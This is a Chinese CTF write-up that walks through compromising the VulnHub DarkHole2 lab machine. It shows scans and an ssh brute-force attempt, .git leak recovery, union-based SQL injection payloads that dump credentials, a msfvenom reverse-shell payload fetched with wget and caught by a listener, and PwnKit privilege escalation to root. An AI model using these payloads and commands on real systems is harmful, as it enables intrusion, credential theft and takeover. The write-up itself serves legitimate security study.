本文最后更新于 2024-07-26,文章内容可能已经过时。

DarkHole2靶机渗透实战笔记

实验环境:

免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

靶机下载地址

https://www.vulnhub.com/entry/darkhole-2,740/

kali(vmware) ip:192.168.91.129(NAT) ip:192.168.228.4(仅主机)

AAAAA

DarkHole2靶机(virtualBox)

kali配置了两张网卡,其中一张仅主机的网卡和靶机vitualbox相连。

virtualBox开启靶机:

image-20240722150827962

描述:

难度:困难

提示:不要浪费时间进行暴力破解

主机发现

nmap -sP 192.168.228.0/24

image-20240722103340867

或者netdiscover扫描同一网卡也可以发现目标主机

netdiscover -i eth1

image-20240722150827962

信息搜集

nmap扫描

nmap进行扫描基本信息

nmap -O -p- -sC -sV --min-rate 5000 192.168.228.17
#-O: 尝试识别扫描目标的操作系统。
#-p-: 扫描所有端口(0-65535)。
#-sC: 使用TCP Connect扫描,这是最常用的扫描类型,会对每个目标端口进行完整的TCP连接。
#-sV: 对发现的开放端口进行服务版本检测。
#--min-rate 5000: 设置扫描速度的最小值,这里是5000字节每秒。

image-20240722143249771

可以看到开放的端口信息和版本信息,主机是linux的Ubuntu系统,开放了22,80端口。

漏洞利用

nmap扫描基本漏洞

nmap --script=vuln -p 22,80 192.168.228.17

image-20240722143847913

没有扫描到非常有价值的,貌似只看到了一个Dos漏洞和CSRF,没啥可利用的,但是看到了/.git/,可以确定目标主机安装了git,这里看到了貌似是.git文件泄露。

爆破一下ssh服务器端口,同样也没有成功

nmap --script ssh-brute 192.168.228.17 -p 22

image-20240722144615268

既然之前扫描的有80端口开启了Apache服务,尝试浏览器访问,出现如下界面,

image-20240722150135866

点击中间的View Details无反应,点击右上角的login登录,跳转到/login.php,但是页面中没有显示注册功能。只有登录按钮,不知道用户名和密码暂时先放着。

image-20240722150231201

子域名爆破

扫描一下子域名

dirsearch -u http://192.168.228.17/ -t 2

image-20240722151011652

image-20240722151027563

可以看到.git文件泄露,可以尝试用githacker工具恢复一下

工具链接:https://github.com/WangYihang/GitHacker

# 安装工具(kali中)
python3 -m pip install -i https://pypi.org/simple/ GitHacker 
# 打印帮助信息
githacker --help
# 扫描git文件
githacker --url http://192.168.228.17/.git/ --output-folder /root/桌面/DarkHole2

image-20240722151410439

image-20240722151729822

cd到恢复出来的git仓库文件中,查看git日志信息

cd /桌面/DarkHole2/183a13e0430c76252758238911b9d4fb
git log

image-20240722151939361

可以看到有三次提交信息。用git diff来逐一查看三次提交和本地索引的差别。

#第一次,啥也没有貌似是初始化git仓库
git diff 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4

#第二次,发现了用户名和密码信息
git diff a4d900a8d85e8938d3601f3cef113ee293028e10

#第三次,很多的前端界面信息,php文件
git diff aa2a5f3aa15bb402f2b90a07d86af57436d64917

image-20240722152540801

看到在第二次提交中发现了用户名和密码lush@admin.com/321

使用得到的用户名和密码在前端登录界面进行登录,发现成功进入,跳转到了后台界面。

image-20240722152903316

查看url,发现/dashboard.php?id=1,这里id参数很可疑,貌似有SQL注入,输入单引号尝试一下有么有注入点。

hackbar输入如下测试

?id=1'		#页面消失,说明报错,这里有注入点
?id=1' and '1'='1		#页面无变化
?id=1' and '1'='2		#页面出现变化,信息消失

image-20240722163936381

image-20240722164308199

image-20240722164327191

可以看到页面中信息消失了,确定有SQL注入,下面来猜测字段数

?id=1' order by 6-- -     #正常
?id=1' order by 7-- -	  #出错

#说明字段数为6位

再来测页面回显位

?id=-1' union select  1,2,3,4,5,6-- -

显示回显位为2,3,5,6

image-20240722164909244

下面来爆破数据库名字和其他信息

#爆出数据库名
?id=-1' union select  1,2,database(),4,5,6-- -

#显示数据库名为darkhole_2

image-20240722165050334

#爆出表名
?id=-1' union select  1,2,database(),4,group_concat(table_name),6 from information_schema.tables where table_schema=database()-- -


#爆出两个库名为ssh,users

image-20240722165425543

#可以看到ssh应该是连接ssh的数据库表

#爆出ssh表列名
?id=-1' union select  1,2,database(),4,group_concat(column_name),6 from information_schema.columns where table_name='ssh'-- -

#爆出列名为id,pass,user

image-20240722165729384

#爆出ssh表的用户名和密码
http://192.168.228.17/dashboard.php?id=-1' union select  1,2,database(),4,group_concat(user,'~',pass),6 from darkhole_2.ssh-- -

#得到用户名jehad,密码fool

image-20240722170130792

尝试登录ssh,成功登录

ssh jehad@192.168.228.17
#输入密码fool

image-20240722170437615

成功在/home/losy目录下找到user.txt的flag文件

DarkHole{'This_is_the_life_man_better_than_a_cruise'}

image-20240722170656023

提权

输入命令查看权限,发现不是root权限的账户,需要进行提权。

image-20240722170458962

利用MSF提权

这里使用msf反弹shell进行提权操作

首先用msfvenom生成反向木马payload

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.228.4 lport=4444 -f elf > /root/桌面/msf_darkhole2.elf

image-20240722171444228

用python开启http服务,然后在靶机上下载生成的payload

#kali中
cd /root/桌面		#切换到生成payload的目录下,方便下载
python -m http.server


#靶机中
cd /tmp			#切换到tmp目录下,有可执行权限
wget http://192.168.228.4:8000/msf_darkhole2.elf
chmod +x msf_darkhole2.elf	   #修改为可执行权限

image-20240722171539375

image-20240722171735686

打开msf,设置好监听参数运行

#kali中
msfconsole
use exploit/multi/handler
show options
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.228.4
set lport 4444
run

image-20240722172223237

在靶机shell上运行刚刚下载下来的payload

#靶机中
./msf_darkhole2.elf

image-20240722172449789

成功获取到session会话后,运行本地提权模块,查看提权漏洞,使用提权漏洞进行提权

run post/multi/recon/local_exploit_suggester		
#运行提权模块,搜索提权漏洞

image-20240722173120532

#搜到很多提权漏洞使用第一个尝试

bg										
#转到后台
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
#使用搜索到提权漏洞
show options									
#查看设置
set session 1									
#设置会话ID
run												
#运行提权模块

image-20240722173236831

Getshell

image-20240722173632207

image-20240722173913763

提权成功,进入shell,查看root目录下文件,拿到root用户的flag

shell		#进入shell
cd /root		切换到root目录
ls -al			查看当前目录下文件
cat root.txt	查看root的flag

# DarkHole{'Legend'}

image-20240722174258289

image-20240722174324576

总结

基本思路

端口扫描——》目录扫描——》git仓库恢复——》git提交日志中发现账号密码——》登录后台后SQL注入获取ssh登录密码——》ssh登录——》使用msf提权